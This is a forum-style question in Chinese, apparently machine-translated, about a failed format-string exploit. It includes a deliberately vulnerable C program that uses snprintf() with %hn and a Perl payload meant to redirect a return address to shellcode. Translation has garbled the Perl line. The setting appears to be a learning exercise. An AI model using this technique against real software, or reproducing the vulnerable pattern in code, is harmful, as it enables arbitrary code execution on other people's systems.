我正在尝试利用格式字符串漏洞利用。我有一个易受snprintf()影响的程序,如下所示。我也有一个shellcode,我想跳转到。我的shellcode位于地址xbffff1c4,返回地址的指针位于x080486a4。 这是该计划的脆弱部分:
#define maxiargl 128
#include <stdlib.h>
#include <stdio.h>
static void usage(const char *sname)
{
fprintf(stderr, "Usage: %s <file>\n", sname);
fprintf(stderr, " where <file> is the file of interest\n");
}
static void argumCh(char *arg1, char *arg2)
{
char argum2[maxiargl], argum1[maxiargl];
int str1, str2;
// vunerable code
str1 = snprintf(argum1, sizeof argum1, "%s%d%d%d%c%hn", arg1);
str2 = snprintf(argum2, sizeof argum2, "%s%d%d%d%c%hn", arg2);
if(str1 >= maxiargl)
str1 = maxiargl - 1;
argum1[str1] = '\0';
if(str2 >= maxiargl)
str2 = maxiargl - 1;
argum2[str2] = '\0';
printf("Arguments: '%s', '%s'\n", argum1, argum2);
}
int main(int argc, char **argv)
{
if(argc > 2) {
usage(argv[0]);
argumCh(argv[1], argv[2]);
exit(EXIT_FAILURE);
}
return 0;
}
这是我的开发代码
perl -e'print“\ xc4 \ xf1 \ xff \ xbf”;打印“a”;打印“a”;打印“a”;打印“a”x61885'
请注意,我在这里写的是地址xbffff1c4。 f1c4 = 61885 + 7字节 但这不起作用。我想知道如何指定我想写的地址,因为在这里我可以指定我写的地址。 如果有人可以帮助我,我真的很高兴